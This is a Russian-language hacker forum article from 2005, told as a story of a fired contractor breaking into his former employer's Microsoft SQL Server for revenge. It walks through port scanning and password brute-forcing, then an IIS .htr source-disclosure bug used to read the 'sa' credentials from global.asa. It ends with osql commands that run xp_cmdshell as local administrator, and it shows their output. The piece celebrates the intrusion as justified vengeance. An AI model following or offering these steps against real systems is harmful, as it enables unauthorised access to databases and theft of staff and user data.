Статьи Проникновение на sql-сервер.

Discussion in 'Статьи' started by Егорыч+++, 12 Feb 2005.

  1. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Автор: cl_ki[ll]er
    Статья:Проникновение на sql-сервер.
    special for ][
    ====================================
    *** *** ****
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Что может быть болле ценным для взломщика ,чем информация ,глубоко зарытая в базу данных,
    какого-нить крупного сервера(или хостинга)?Инфа о сотрудниках,учётные записи юзверей,пароли,
    креды вот к чему стремятся многие взломщики!
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Среди многих компаний ,использующих софт Мелкомягких ,в качестве средств хранения данных
    очень популярен сервер реляционных БД Microsoft SQL Server.............................
    К сожалению ,несмотря на все заботы о масштубироемости и надёжности, большинство компаний
    при использовании SQL-сервера упускают ключевую составляющую его стабильной работы - обеспеченя
    безопасности. В большинстве случаев крупные компании ошибаются в том,что они суетятся о защите
    ворот замков,в то время как подвалы остаются открытыми.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Один взломщик давно вынашивал мысль о жестокой мести одной крупной фирме,в которой работал 6
    месяцев под видом обычного контрактного -программера.Он решил что компания должна огрести
    пополной ,и осознать ошибку которую сделала,вычеркнув его из ведомости,и уволив кое-кого из
    талантливых рабочих.Хакер был осведомлён о многих политиках внутренней безопасности компании,но так
    как был обычым контрактным программером, а не инженером безопасности или админом NT,он не
    знал всех подробностей внутренней структуры,конфига фаерволов или другой полезной инфы ,ко-
    отрая помогла бы ему в совершении возмездия. Чтобы не вызывать подозрений ,нашь герой восполь-
    зовался услугами прова и просканил порты маршрутизаторов компинии.Что бы определить
    диапазоны ip'шников компании,он сначала обратился к базам данных ARIN и Network Solutions ,а
    затем просканил их все прогой fscan-своим любимым сканнером,используя для доступа в инет свеже-
    созданную учётную запись.После скана наш герой начал заниматься анлизом всего полученного после
    сканирования.
    Он обнаружил около 4-ёх вэб-серваков,сервер SMTP/POP3 и какую-то программу,ожидающую подключение
    к 1433 порту.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Как разработчик наш герой хорошо знал,порт 1433 тспользуется для подключения к sql-серванту
    в библиотеке для работы с сокетами.Он запустил утилиту osql.exe ,котрая поставляется с пакетами
    MSDE ,и попытался подключиться с паролем ,котрый сщуествовал во время его работы в компании.

    C:>osql.exe -S 10.2.3.12 -U dev -P M34sdk35
    Login failed for user 'dev'.

    Не прокатило!Админы были подготовлены заранее и сменили все пароли после его ухода,следуя
    политики безопасности.Его задачей было получить в свои руки учётку 'sa'- которая даёт админ-
    ский доступ к SQL серверу.
    Наш герой поискал и нашёл утилиту sqlbf котрая смогла бы помоч ему подобрать пароль.Установив
    и запустив её он отправился ещё за бутылочкой пивка ,с мыслью того что политика безопасности
    компании предпологала,что пароль должен быть очень тяжёлым...
    Он помнил что данные учётные записи 'sa' хранятся в файле global.asa каталога webroot.Конечно
    запросы через браузер обычно запрещены,но наш взломщик порылся в своей базе сплойтов и попытался
    использовать для получения исходного текста файла баг нескольких версий IIS+.htr. УРА!!!!!!!!!!!!!
    НА втором серваке на запрос была возвращена пустая страница ,но когда он посмотрел исходник паги то
    увидел следующее:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    <SCRIPT LANGUAGE=VBScript RUNAT=Server>
    Sub Application_OnStart
    Application("ConnectionString") = "Provider=SQLOLEDB.1;Persist
    Security Info=True;
    uid=sa;pwd=m2ryh2dallteno;Initial Catalog=data;Data
    Source=10.2.3.12;"
    END SUB
    </SCRIPT>
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Хакер не поверили своим глазам!Он тут же запустил утилиту osql и ввёл только что полученную инфу.(Имя пользователя 'sa'
    пароль:m2ryh2dallteno).Отлично!Он проверил сервак ,просто что бы убедиться в наличии доступа к базе пользовательских
    запросов(и пометил у себя в голове тоб что нужно сюда будет вернутся ....убоать за собой.)Используя процедуру xp_cmdshell
    он посмотрел ,какие соеденения может устанавливать сервер:

    C:\>osql.exe -S 10.2.3.12 -U sa -P m2ryh2dallteno -Q "xp_cmdshell 'route print' "

    В результате запроса он получил таблицу маршрутизации сервака,на котором находился,и понял,что эта тачка с несколькими
    сетевыми адаптерами ,один из которых соеденён с сетью .Естественно ,пакеты из инета не могли напрямую
    попасть во внутреннею сеть ,но сервер SQL должен иметь возможность устанавливать внутренние соеденения .Почему бы и нет ?
    Персонал обслуживания клиентов должен иметь доступ к запросам клиентов ,а значит , они должны иметь доступ к
    соответствующей базе.Всё шло просто кайф!
    Теперь взломщик должен был подтвердить свои права в для системы безопасности оперционки,он заюзал следующею команду:
    C:\>oqsl.exe -S 10.2.3.12 -U sa -P m2ryh2dallteno -Q "xp_cmdshell 'net config workstation '"
    вот что он увидел:
    ===========================================================================

    Computer name \\SQL-DMZ
    Full Computer name SQL-DMZ
    UserName Administrator

    Workstation active on
    NetbiosSmb (000000000000)
    NetBT_TCPip_{9F09B6FC-BBF2-4C04-8CA4-8AABFDB18DA1} (0080C77B8A3D)


    SoftWare version Windows 2000

    Workstation domain WorkGroup
    Workstation domains DNS name (null)
    Logon domain SQL-DMZ

    COM Open Timeout (sec) 0
    COM Send Count (byte) 16
    COM Sebd Timeout (msec) 250
    ==============================================================================
    По значению поля с именем пользователя наш герой понял ,что SQL-сервер работате с уровнем прав локального админа.
    Возможно ,что эта учётка пользователя с меньшими правами ,поэтому хакер вбил следующую команду которая неостваила
    за собой ни каких сомнений:
    ==================================================================================================
    C:\>oqsl.exe -S 10.2.3.12 -U sa -P m2ryh2dallteno -Q "xp_cmdshell 'net localgroup administrators'"
    ==================================================================================================
    в ответ получил :

    Alias name administrators
    Comment Administrators have complete and unrestricted acces
    to the computer/domain

    Members

    ---------------------------------------------------------------------------------------------
    Administrator
    The command completed sucessfully.
    ====================================================================================================
    Теперь наш взломщик точно знал ,что эта учётная запись состоит в группе локальных админов и не является
    подставой для взломщика типа него.С таким уровнем прав которые получил нашь взломщик ,ему ни что неперекрывает кислород
    внутри системы. Итак,урон нанесён ,возмездие свершилось!!!!!
    Мораль : Бойся мести !

    удачи всем!............